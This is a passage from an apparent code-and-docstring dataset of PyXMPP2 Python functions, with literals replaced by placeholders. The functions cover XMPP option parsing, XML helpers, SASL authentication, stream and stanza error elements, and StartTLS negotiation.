setting.default_d:<EOL><INDENT>default_s = setting.default_d<EOL>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>default_s = default_s.encode(encoding, \"<STR_LIT:replace>\")<EOL><DEDENT><DEDENT>elif setting.default is not None:<EOL><INDENT>default_s = repr(setting.default)<EOL><DEDENT>else:<EOL><INDENT>default_s = None<EOL><DEDENT>opt_help = setting.cmdline_help<EOL>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>opt_help = opt_help.encode(encoding, \"<STR_LIT:replace>\")<EOL><DEDENT>if default_s:<EOL><INDENT>opt_help += \"<STR_LIT>\".format(default_s)<EOL><DEDENT>if opt_type is bool:<EOL><INDENT>opt_action = _YesNoAction<EOL><DEDENT>else:<EOL><INDENT>opt_action = \"<STR_LIT:store>\"<EOL><DEDENT>parser.add_argument(option,<EOL>action = opt_action,<EOL>default = setting.default,<EOL>type = opt_type,<EOL>help = opt_help,<EOL>metavar = name.upper(),<EOL>dest = dest)<EOL><DEDENT>return parser<EOL>", "docstring": "Make a command-line option parser.\n\n        The returned parser may be used as a parent parser for application\n        argument parser.\n\n        :Parameters:\n            - `settings`: list of PyXMPP2 settings to consider. By default\n              all 'basic' settings are provided.\n            - `option_prefix`: custom prefix for PyXMPP2 options. E.g.\n              ``'--xmpp'`` to differentiate them from not xmpp-related\n              application options.\n            - `add_help`: when `True` a '--help' option will be included\n              (probably already added in the application parser object)\n        :Types:\n            - `settings`: list of `unicode`\n            - `option_prefix`: `str`\n            - `add_help`:\n\n        :return: an argument parser object.\n        :returntype: :std:`argparse.ArgumentParser`", "id": "f15311:c1:m17"}
{"signature": "def element_to_unicode(element):", "body": "if hasattr(ElementTree, '<STR_LIT>'):<EOL><INDENT>return ElementTree.tounicode(\"<STR_LIT>\")<EOL><DEDENT>elif sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>return unicode(ElementTree.tostring(element))<EOL><DEDENT>else:<EOL><INDENT>return ElementTree.tostring(element, encoding = \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Serialize an XML element into a unicode string.\n\n    This should work the same on Python2 and Python3 and with all\n    :etree:`ElementTree` implementations.\n\n    :Parameters:\n        - `element`: the XML element to serialize\n    :Types:\n        - `element`: :etree:`ElementTree.Element`", "id": "f15312:m0"}
{"signature": "def xml_elements_equal(element1, element2, ignore_level1_cdata = False):", "body": "<EOL>if None in (element1, element2) or element1.tag != element2.tag:<EOL><INDENT>return False<EOL><DEDENT>attrs1 = element1.items()<EOL>attrs1.sort()<EOL>attrs2 = element2.items()<EOL>attrs2.sort()<EOL>if not ignore_level1_cdata:<EOL><INDENT>if element1.text != element2.text:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>if attrs1 != attrs2:<EOL><INDENT>return False<EOL><DEDENT>if len(element1) != len(element2):<EOL><INDENT>return False<EOL><DEDENT>for child1, child2 in zip(element1, element2):<EOL><INDENT>if child1.tag != child2.tag:<EOL><INDENT>return False<EOL><DEDENT>if not ignore_level1_cdata:<EOL><INDENT>if element1.text != element2.text:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>if not xml_elements_equal(child1, child2):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Check if two XML elements are equal.\n\n    :Parameters:\n        - `element1`: the first element to compare\n        - `element2`: the other element to compare\n        - `ignore_level1_cdata`: if direct text children of the elements\n          should be ignored for the comparision\n    :Types:\n        - `element1`: :etree:`ElementTree.Element`\n        - `element2`: :etree:`ElementTree.Element`\n        - `ignore_level1_cdata`: `bool`\n\n    :Returntype: `bool`", "id": "f15313:m0"}
{"signature": "def datetime_utc_to_local(utc):", "body": "<EOL>ts = time.time()<EOL>cur = datetime.datetime.fromtimestamp(ts)<EOL>cur_utc = datetime.datetime.utcfromtimestamp(ts)<EOL>offset = cur - cur_utc<EOL>t = utc<EOL>d = datetime.timedelta(hours = <NUM_LIT:2>)<EOL>while d > _MINUTE:<EOL><INDENT>local = t + offset<EOL>tm = local.timetuple()<EOL>tm = tm[<NUM_LIT:0>:<NUM_LIT:8>] + (<NUM_LIT:0>, )<EOL>ts = time.mktime(tm)<EOL>u = datetime.datetime.utcfromtimestamp(ts)<EOL>diff = u - utc<EOL>if diff < _MINUTE and diff > -_MINUTE:<EOL><INDENT>break<EOL><DEDENT>if diff > _NULLDELTA:<EOL><INDENT>offset -= d<EOL><DEDENT>else:<EOL><INDENT>offset += d<EOL><DEDENT>d //= <NUM_LIT:2><EOL><DEDENT>return local<EOL>", "docstring": "An ugly hack to convert naive :std:`datetime.datetime` object containing\nUTC time to a naive :std:`datetime.datetime` object with local time.\nIt seems standard Python 2.3 library doesn't provide any better way to\ndo that.", "id": "f15313:m1"}
{"signature": "def datetime_local_to_utc(local):", "body": "timestamp = time.mktime(local.timetuple())<EOL>return datetime.datetime.utcfromtimestamp(timestamp)<EOL>", "docstring": "Simple function to convert naive :std:`datetime.datetime` object containing\nlocal time to a naive :std:`datetime.datetime` object with UTC time.", "id": "f15313:m2"}
{"signature": "def __init__(self, settings = None):", "body": "if settings is None:<EOL><INDENT>settings = XMPPSettings()<EOL><DEDENT>self.settings = settings<EOL>self.peer_sasl_mechanisms = None<EOL>self.authenticator = None<EOL>", "docstring": "Initialize the SASL handler", "id": "f15314:c1:m0"}
{"signature": "def make_stream_features(self, stream, features):", "body": "mechs = self.settings['<STR_LIT>']<EOL>if mechs and not stream.authenticated:<EOL><INDENT>sub = ElementTree.SubElement(features, MECHANISMS_TAG)<EOL>for mech in mechs:<EOL><INDENT>if mech in sasl.SERVER_MECHANISMS:<EOL><INDENT>ElementTree.SubElement(sub, MECHANISM_TAG).text = mech<EOL><DEDENT><DEDENT><DEDENT>return features<EOL>", "docstring": "Add SASL features to the <features/> element of the stream.\n\n        [receving entity only]\n\n        :returns: update <features/> element.", "id": "f15314:c1:m1"}
{"signature": "def handle_stream_features(self, stream, features):", "body": "element = features.find(MECHANISMS_TAG)<EOL>self.peer_sasl_mechanisms = []<EOL>if element is None:<EOL><INDENT>return None<EOL><DEDENT>for sub in element:<EOL><INDENT>if sub.tag != MECHANISM_TAG:<EOL><INDENT>continue<EOL><DEDENT>self.peer_sasl_mechanisms.append(sub.text)<EOL><DEDENT>if stream.authenticated or not self.peer_sasl_mechanisms:<EOL><INDENT>return StreamFeatureNotHandled(\"<STR_LIT>\", mandatory = True)<EOL><DEDENT>username = self.settings.get(\"<STR_LIT:username>\")<EOL>if not username:<EOL><INDENT>if stream.me.local:<EOL><INDENT>username = stream.me.local<EOL><DEDENT>else:<EOL><INDENT>username = None<EOL><DEDENT><DEDENT>self._sasl_authenticate(stream, username, self.settings.get(\"<STR_LIT>\"))<EOL>return StreamFeatureHandled(\"<STR_LIT>\", mandatory = True)<EOL>", "docstring": "Process incoming <stream:features/> element.\n\n        [initiating entity only]", "id": "f15314:c1:m2"}
{"signature": "@stream_element_handler(AUTH_TAG, \"<STR_LIT>\")<EOL><INDENT>def process_sasl_auth(self, stream, element):<DEDENT>", "body": "if self.authenticator:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>password_db = self.settings[\"<STR_LIT>\"]<EOL>mechanism = element.get(\"<STR_LIT>\")<EOL>if not mechanism:<EOL><INDENT>stream.send_stream_error(\"<STR_LIT>\")<EOL>raise FatalStreamError(\"<STR_LIT>\")<EOL><DEDENT>stream.auth_method_used = mechanism<EOL>self.authenticator = sasl.server_authenticator_factory(mechanism,<EOL>password_db)<EOL>content = element.text.encode(\"<STR_LIT>\")<EOL>ret = self.authenticator.start(stream.auth_properties,<EOL>a2b_base64(content))<EOL>if isinstance(ret, sasl.Success):<EOL><INDENT>element = ElementTree.Element(SUCCESS_TAG)<EOL>element.text = ret.encode()<EOL><DEDENT>elif isinstance(ret, sasl.Challenge):<EOL><INDENT>element = ElementTree.Element(CHALLENGE_TAG)<EOL>element.text = ret.encode()<EOL><DEDENT>else:<EOL><INDENT>element = ElementTree.Element(FAILURE_TAG)<EOL>ElementTree.SubElement(element, SASL_QNP + ret.reason)<EOL><DEDENT>stream.write_element(element)<EOL>if isinstance(ret, sasl.Success):<EOL><INDENT>self._handle_auth_success(stream, ret)<EOL><DEDENT>elif isinstance(ret, sasl.Failure):<EOL><INDENT>raise SASLAuthenticationFailed(\"<STR_LIT>\"<EOL>.format(ret.reason))<EOL><DEDENT>return True<EOL>", "docstring": "Process incoming <sasl:auth/> element.\n\n        [receiving entity only]", "id": "f15314:c1:m3"}
{"signature": "def _handle_auth_success(self, stream, success):", "body": "if not self._check_authorization(success.properties, stream):<EOL><INDENT>element = ElementTree.Element(FAILURE_TAG)<EOL>ElementTree.SubElement(element, SASL_QNP + \"<STR_LIT>\")<EOL>return True<EOL><DEDENT>authzid = success.properties.get(\"<STR_LIT>\")<EOL>if authzid:<EOL><INDENT>peer = JID(success.authzid)<EOL><DEDENT>elif \"<STR_LIT:username>\" in success.properties:<EOL><INDENT>peer = JID(success.properties[\"<STR_LIT:username>\"], stream.me.domain)<EOL><DEDENT>else:<EOL><INDENT>peer = None<EOL><DEDENT>stream.set_peer_authenticated(peer, True)<EOL>", "docstring": "Handle successful authentication.\n\n        Send <success/> and mark the stream peer authenticated.\n\n        [receiver only]", "id": "f15314:c1:m4"}
{"signature": "@stream_element_handler(CHALLENGE_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_sasl_challenge(self, stream, element):<DEDENT>", "body": "if not self.authenticator:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>content = element.text.encode(\"<STR_LIT>\")<EOL>ret = self.authenticator.challenge(a2b_base64(content))<EOL>if isinstance(ret, sasl.Response):<EOL><INDENT>element = ElementTree.Element(RESPONSE_TAG)<EOL>element.text = ret.encode()<EOL><DEDENT>else:<EOL><INDENT>element = ElementTree.Element(ABORT_TAG)<EOL><DEDENT>stream.write_element(element)<EOL>if isinstance(ret, sasl.Failure):<EOL><INDENT>stream.disconnect()<EOL>raise SASLAuthenticationFailed(\"<STR_LIT>\")<EOL><DEDENT>return True<EOL>", "docstring": "Process incoming <sasl:challenge/> element.\n\n        [initiating entity only]", "id": "f15314:c1:m5"}
{"signature": "@stream_element_handler(RESPONSE_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_sasl_response(self, stream, element):<DEDENT>", "body": "if not self.authenticator:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>content = element.text.encode(\"<STR_LIT>\")<EOL>ret = self.authenticator.response(a2b_base64(content))<EOL>if isinstance(ret, sasl.Success):<EOL><INDENT>element = ElementTree.Element(SUCCESS_TAG)<EOL>element.text = ret.encode()<EOL><DEDENT>elif isinstance(ret, sasl.Challenge):<EOL><INDENT>element = ElementTree.Element(CHALLENGE_TAG)<EOL>element.text = ret.encode()<EOL><DEDENT>else:<EOL><INDENT>element = ElementTree.Element(FAILURE_TAG)<EOL>ElementTree.SubElement(element, SASL_QNP + ret.reason)<EOL><DEDENT>stream.write_element(element)<EOL>if isinstance(ret, sasl.Success):<EOL><INDENT>self._handle_auth_success(stream, ret)<EOL><DEDENT>elif isinstance(ret, sasl.Failure):<EOL><INDENT>raise SASLAuthenticationFailed(\"<STR_LIT>\"<EOL>.format(ret.reson))<EOL><DEDENT>return True<EOL>", "docstring": "Process incoming <sasl:response/> element.\n\n        [receiving entity only]", "id": "f15314:c1:m6"}
{"signature": "def _check_authorization(self, properties, stream):", "body": "authzid = properties.get(\"<STR_LIT>\")<EOL>if not authzid:<EOL><INDENT>return True<EOL><DEDENT>try:<EOL><INDENT>jid = JID(authzid)<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>if \"<STR_LIT:username>\" not in properties:<EOL><INDENT>result = False<EOL><DEDENT>elif jid.local != properties[\"<STR_LIT:username>\"]:<EOL><INDENT>result = False<EOL><DEDENT>elif jid.domain != stream.me.domain:<EOL><INDENT>result = False<EOL><DEDENT>elif jid.resource:<EOL><INDENT>result = False<EOL><DEDENT>else:<EOL><INDENT>result = True<EOL><DEDENT>return result<EOL>", "docstring": "Check authorization id and other properties returned by the\n        authentication mechanism.\n\n        [receiving entity only]\n\n        Allow only no authzid or authzid equal to current username@domain\n\n        FIXME: other rules in s2s\n\n        :Parameters:\n            - `properties`: data obtained during authentication\n        :Types:\n            - `properties`: mapping\n\n        :return: `True` if user is authorized to use a provided authzid\n        :returntype: `bool`", "id": "f15314:c1:m7"}
{"signature": "@stream_element_handler(SUCCESS_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_sasl_success(self, stream, element):<DEDENT>", "body": "if not self.authenticator:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>content = element.text<EOL>if content:<EOL><INDENT>data = a2b_base64(content.encode(\"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>data = None<EOL><DEDENT>ret = self.authenticator.finish(data)<EOL>if isinstance(ret, sasl.Success):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>authzid = ret.properties.get(\"<STR_LIT>\")<EOL>if authzid:<EOL><INDENT>me = JID(authzid)<EOL><DEDENT>elif \"<STR_LIT:username>\" in ret.properties:<EOL><INDENT>me = JID(ret.properties[\"<STR_LIT:username>\"], stream.peer.domain)<EOL><DEDENT>else:<EOL><INDENT>me = None<EOL><DEDENT>stream.set_authenticated(me, True)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise SASLAuthenticationFailed(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return True<EOL>", "docstring": "Process incoming <sasl:success/> element.\n\n        [initiating entity only]", "id": "f15314:c1:m8"}
{"signature": "@stream_element_handler(FAILURE_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_sasl_failure(self, stream, element):<DEDENT>", "body": "_unused = stream<EOL>if not self.authenticator:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(<EOL>element_to_unicode(element)))<EOL>raise SASLAuthenticationFailed(\"<STR_LIT>\")<EOL>", "docstring": "Process incoming <sasl:failure/> element.\n\n        [initiating entity only]", "id": "f15314:c1:m9"}
{"signature": "@stream_element_handler(ABORT_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_sasl_abort(self, stream, element):<DEDENT>", "body": "_unused, _unused = stream, element<EOL>if not self.authenticator:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>self.authenticator = None<EOL>logger.debug(\"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Process incoming <sasl:abort/> element.\n\n        [receiving entity only]", "id": "f15314:c1:m10"}
{"signature": "def _sasl_authenticate(self, stream, username, authzid):", "body": "if not stream.initiator:<EOL><INDENT>raise SASLAuthenticationFailed(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if stream.features is None or not self.peer_sasl_mechanisms:<EOL><INDENT>raise SASLNotAvailable(\"<STR_LIT>\")<EOL><DEDENT>props = dict(stream.auth_properties)<EOL>if not props.get(\"<STR_LIT>\") and (<EOL>stream.peer and stream.peer.domain):<EOL><INDENT>props[\"<STR_LIT>\"] = stream.peer.domain<EOL><DEDENT>if username is not None:<EOL><INDENT>props[\"<STR_LIT:username>\"] = username<EOL><DEDENT>if authzid is not None:<EOL><INDENT>props[\"<STR_LIT>\"] = authzid<EOL><DEDENT>if \"<STR_LIT:password>\" in self.settings:<EOL><INDENT>props[\"<STR_LIT:password>\"] = self.settings[\"<STR_LIT:password>\"]<EOL><DEDENT>props[\"<STR_LIT>\"] = self.peer_sasl_mechanisms<EOL>enabled = sasl.filter_mechanism_list(<EOL>self.settings['<STR_LIT>'], props,<EOL>self.settings['<STR_LIT>'])<EOL>if not enabled:<EOL><INDENT>raise SASLNotAvailable(<EOL>\"<STR_LIT>\")<EOL><DEDENT>props[\"<STR_LIT>\"] = enabled<EOL>mechanism = None<EOL>for mech in enabled:<EOL><INDENT>if mech in self.peer_sasl_mechanisms:<EOL><INDENT>mechanism = mech<EOL>break<EOL><DEDENT><DEDENT>if not mechanism:<EOL><INDENT>raise SASLMechanismNotAvailable(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(mechanism))<EOL>stream.auth_method_used = mechanism<EOL>self.authenticator = sasl.client_authenticator_factory(mechanism)<EOL>initial_response = self.authenticator.start(props)<EOL>if not isinstance(initial_response, sasl.Response):<EOL><INDENT>raise SASLAuthenticationFailed(\"<STR_LIT>\")<EOL><DEDENT>element = ElementTree.Element(AUTH_TAG)<EOL>element.set(\"<STR_LIT>\", mechanism)<EOL>if initial_response.data:<EOL><INDENT>if initial_response.encode:<EOL><INDENT>element.text = initial_response.encode()<EOL><DEDENT>else:<EOL><INDENT>element.text = initial_response.data<EOL><DEDENT><DEDENT>stream.write_element(element)<EOL>", "docstring": "Start SASL authentication process.\n\n        [initiating entity only]\n\n        :Parameters:\n            - `username`: user name.\n            - `authzid`: authorization ID.\n            - `mechanism`: SASL mechanism to use.", "id": "f15314:c1:m11"}
{"signature": "def __init__(self, element_or_cond, text = None, language = None):", "body": "self.text = None<EOL>self.custom_condition = []<EOL>self.language = language<EOL>if isinstance(element_or_cond, str):<EOL><INDENT>self.condition = ElementTree.Element(self.cond_qname_prefix<EOL>+ element_or_cond)<EOL><DEDENT>elif not isinstance(element_or_cond, ElementClass):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._from_xml(element_or_cond)<EOL><DEDENT>if text:<EOL><INDENT>self.text = text<EOL><DEDENT>", "docstring": "Initialize an StanzaErrorElement object.\n\n        :Parameters:\n            - `element_or_cond`: XML <error/> element to decode or an error\n              condition name or element.\n            - `text`: optional description to override the default one\n            - `language`: RFC 3066 language tag for the description\n        :Types:\n            - `element_or_cond`: :etree:`ElementTree.Element` or `unicode`\n            - `text`: `unicode`\n            - `language`: `unicode`", "id": "f15315:c0:m0"}
{"signature": "def _from_xml(self, element):", "body": "<EOL>if element.tag != self.error_qname:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>element, self.error_qname))<EOL><DEDENT>lang = element.get(XML_LANG_QNAME, None)<EOL>if lang:<EOL><INDENT>self.language = lang<EOL><DEDENT>self.condition = None<EOL>for child in element:<EOL><INDENT>if child.tag.startswith(self.cond_qname_prefix):<EOL><INDENT>if self.condition is not None:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>self.condition = deepcopy(child)<EOL><DEDENT>elif child.tag == self.text_qname:<EOL><INDENT>lang = child.get(XML_LANG_QNAME, None)<EOL>if lang:<EOL><INDENT>self.language = lang<EOL><DEDENT>self.text = child.text.strip()<EOL><DEDENT>else:<EOL><INDENT>bad = False<EOL>for prefix in (STREAM_QNP, STANZA_CLIENT_QNP, STANZA_SERVER_QNP,<EOL>STANZA_ERROR_QNP, STREAM_ERROR_QNP):<EOL><INDENT>if child.tag.startswith(prefix):<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>bad = True<EOL>break<EOL><DEDENT><DEDENT>if not bad:<EOL><INDENT>self.custom_condition.append( deepcopy(child) )<EOL><DEDENT><DEDENT><DEDENT>if self.condition is None:<EOL><INDENT>self.condition = ElementTree.Element(self.cond_qname_prefix<EOL>+ \"<STR_LIT>\")<EOL><DEDENT>if self.condition.tag in OBSOLETE_CONDITIONS:<EOL><INDENT>new_cond_name = OBSOLETE_CONDITIONS[self.condition.tag]<EOL>self.condition = ElementTree.Element(new_cond_name)<EOL><DEDENT>", "docstring": "Initialize an ErrorElement object from an XML element.\n\n        :Parameters:\n            - `element`: XML element to be decoded.\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15315:c0:m1"}
{"signature": "@property<EOL><INDENT>def condition_name(self):<DEDENT>", "body": "return self.condition.tag.split(\"<STR_LIT:}>\", <NUM_LIT:1>)[<NUM_LIT:1>]<EOL>", "docstring": "Return the condition name (condition element name without the\n        namespace).", "id": "f15315:c0:m2"}
{"signature": "def add_custom_condition(self, element):", "body": "self.custom_condition.append(element)<EOL>", "docstring": "Add custom condition element to the error.\n\n        :Parameters:\n            - `element`: XML element\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15315:c0:m3"}
{"signature": "def serialize(self):", "body": "return serialize(self.as_xml())<EOL>", "docstring": "Serialize the stanza into a Unicode XML string.\n\n        :return: serialized element.\n        :returntype: `unicode`", "id": "f15315:c0:m4"}
{"signature": "def as_xml(self):", "body": "result = ElementTree.Element(self.error_qname)<EOL>result.append(deepcopy(self.condition))<EOL>if self.text:<EOL><INDENT>text = ElementTree.SubElement(result, self.text_qname)<EOL>if self.language:<EOL><INDENT>text.set(XML_LANG_QNAME, self.language)<EOL><DEDENT>text.text = self.text<EOL><DEDENT>return result<EOL>", "docstring": "Return the XML error representation.\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15315:c0:m5"}
{"signature": "def __init__(self, element_or_cond, text = None, language = None):", "body": "if isinstance(element_or_cond, str):<EOL><INDENT>if element_or_cond not in STREAM_ERRORS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>ErrorElement.__init__(self, element_or_cond, text, language)<EOL>", "docstring": "Initialize an StreamErrorElement object.\n\n        :Parameters:\n            - `element_or_cond`: XML <error/> element to decode or an error\n              condition name or element.\n            - `text`: optional description to override the default one\n            - `language`: RFC 3066 language tag for the description\n        :Types:\n            - `element_or_cond`: :etree:`ElementTree.Element` or `unicode`\n            - `text`: `unicode`\n            - `language`: `unicode`", "id": "f15315:c1:m0"}
{"signature": "def get_message(self):", "body": "cond = self.condition_name<EOL>if cond in STREAM_ERRORS:<EOL><INDENT>return STREAM_ERRORS[cond][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the standard English message for the error.\n\n        :return: the error message.\n        :returntype: `unicode`", "id": "f15315:c1:m1"}
{"signature": "def __init__(self, element_or_cond, text = None, language = None,<EOL>error_type = None):", "body": "self.error_type = None<EOL>if isinstance(element_or_cond, str):<EOL><INDENT>if element_or_cond not in STANZA_ERRORS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif element_or_cond.tag.startswith(\"<STR_LIT:{>\"):<EOL><INDENT>namespace = element_or_cond.tag[<NUM_LIT:1>:].split(\"<STR_LIT:}>\", <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>if namespace not in STANZA_NAMESPACES:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(namespace))<EOL><DEDENT>self.error_qname = \"<STR_LIT>\".format(namespace)<EOL>self.text_qname = \"<STR_LIT>\".format(namespace)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>ErrorElement.__init__(self, element_or_cond, text, language)<EOL>if error_type is not None:<EOL><INDENT>self.error_type = error_type<EOL><DEDENT>if self.condition.tag in STANZA_ERRORS_Q:<EOL><INDENT>cond = self.condition.tag<EOL><DEDENT>else:<EOL><INDENT>cond = UNDEFINED_STANZA_CONDITION<EOL><DEDENT>if not self.error_type:<EOL><INDENT>self.error_type = STANZA_ERRORS_Q[cond][<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Initialize an StanzaErrorElement object.\n\n        :Parameters:\n            - `element_or_cond`: XML <error/> element to decode or an error\n              condition name or element.\n            - `text`: optional description to override the default one\n            - `language`: RFC 3066 language tag for the description\n            - `error_type`: 'type' of the error, one of: 'auth', 'cancel',\n              'continue', 'modify', 'wait'\n        :Types:\n            - `element_or_cond`: :etree:`ElementTree.Element` or `unicode`\n            - `text`: `unicode`\n            - `language`: `unicode`\n            - `error_type`: `unicode`", "id": "f15315:c2:m0"}
{"signature": "def _from_xml(self, element):", "body": "ErrorElement._from_xml(self, element)<EOL>error_type = element.get(\"<STR_LIT:type>\")<EOL>if error_type:<EOL><INDENT>self.error_type = error_type<EOL><DEDENT>", "docstring": "Initialize an ErrorElement object from an XML element.\n\n        :Parameters:\n            - `element`: XML element to be decoded.\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15315:c2:m1"}
{"signature": "def get_message(self):", "body": "cond = self.condition_name<EOL>if cond in STANZA_ERRORS:<EOL><INDENT>return STANZA_ERRORS[cond][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the standard English message for the error.\n\n        :return: the error message.\n        :returntype: `unicode`", "id": "f15315:c2:m2"}
{"signature": "def as_xml(self, stanza_namespace = None): ", "body": "if stanza_namespace:<EOL><INDENT>self.error_qname = \"<STR_LIT>\".format(stanza_namespace)<EOL>self.text_qname = \"<STR_LIT>\".format(stanza_namespace)<EOL><DEDENT>result = ErrorElement.as_xml(self)<EOL>result.set(\"<STR_LIT:type>\", self.error_type)<EOL>return result<EOL>", "docstring": "Return the XML error representation.\n\n        :Parameters:\n            - `stanza_namespace`: namespace URI of the containing stanza\n        :Types:\n            - `stanza_namespace`: `unicode`\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15315:c2:m3"}
{"signature": "def __init__(self, settings = None):", "body": "if settings is None:<EOL><INDENT>self.settings = XMPPSettings()<EOL><DEDENT>else:<EOL><INDENT>self.settings = settings<EOL><DEDENT>self.stream = None<EOL>self.requested = False<EOL>self.tls_socket = None<EOL>", "docstring": "Initialize the TLS handler.\n\n        :Parameters:\n          - `settings`: settings for StartTLS.\n        :Types:\n          - `settings`: `XMPPSettings`", "id": "f15316:c0:m0"}
{"signature": "def make_stream_tls_features(self, stream, features):", "body": "if self.stream and stream is not self.stream:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.stream = stream<EOL>if self.settings[\"<STR_LIT>\"] and not stream.tls_established:<EOL><INDENT>tls = ElementTree.SubElement(features, STARTTLS_TAG)<EOL>if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>ElementTree.SubElement(tls, REQUIRED_TAG)<EOL><DEDENT><DEDENT>return features<EOL>", "docstring": "Update the <features/> element with StartTLS feature.\n\n        [receving entity only]\n\n        :Parameters:\n            - `features`: the <features/> element of the stream.\n        :Types:\n            - `features`: :etree:`ElementTree.Element`\n\n        :returns: update <features/> element.\n        :returntype: :etree:`ElementTree.Element`", "id": "f15316:c0:m1"}
{"signature": "def handle_stream_features(self, stream, features):", "body": "if self.stream and stream is not self.stream:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.stream = stream<EOL>logger.debug(\"<STR_LIT>\")<EOL>element = features.find(STARTTLS_TAG)<EOL>if element is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>raise TLSNegotiationFailed(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return None<EOL><DEDENT>if len(features) == <NUM_LIT:1>:<EOL><INDENT>required = True<EOL><DEDENT>else:<EOL><INDENT>required = element.find(REQUIRED_TAG) is not None<EOL><DEDENT>if stream.tls_established:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>return StreamFeatureNotHandled(\"<STR_LIT>\", mandatory = required)<EOL><DEDENT>if self.settings[\"<STR_LIT>\"]:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._request_tls()<EOL>return StreamFeatureHandled(\"<STR_LIT>\", mandatory = required)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return StreamFeatureNotHandled(\"<STR_LIT>\", mandatory = required)<EOL><DEDENT>", "docstring": "Process incoming StartTLS related element of <stream:features/>.\n\n        [initiating entity only]", "id": "f15316:c0:m2"}
{"signature": "def _request_tls(self):", "body": "self.requested = True<EOL>element = ElementTree.Element(STARTTLS_TAG)<EOL>self.stream.write_element(element)<EOL>", "docstring": "Request a TLS-encrypted connection.\n\n        [initiating entity only]", "id": "f15316:c0:m3"}
{"signature": "@stream_element_handler(FAILURE_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_tls_failure(self, stream, element):<DEDENT>", "body": "<EOL>_unused, _unused = stream, element<EOL>raise TLSNegotiationFailed(\"<STR_LIT>\")<EOL>", "docstring": "Handle the <failure /> element.", "id": "f15316:c0:m4"}
{"signature": "@stream_element_handler(PROCEED_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_tls_proceed(self, stream, element):<DEDENT>", "body": "<EOL>if not self.requested:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(element))<EOL>return False<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>self.requested = False<EOL>self._make_tls_connection()<EOL>return True<EOL>", "docstring": "Handle the <proceed /> element.", "id": "f15316:c0:m5"}
{"signature": "@stream_element_handler(STARTTLS_TAG, \"<STR_LIT>\")<EOL><INDENT>def _process_tls_starttls(self, stream, element):<DEDENT>", "body": "<EOL>_unused, _unused = stream, element<EOL>raise FatalStreamError(\"<STR_LIT>\")<EOL>", "docstring": "Handle <starttls/> element.", "id": "f15316:c0:m6"}
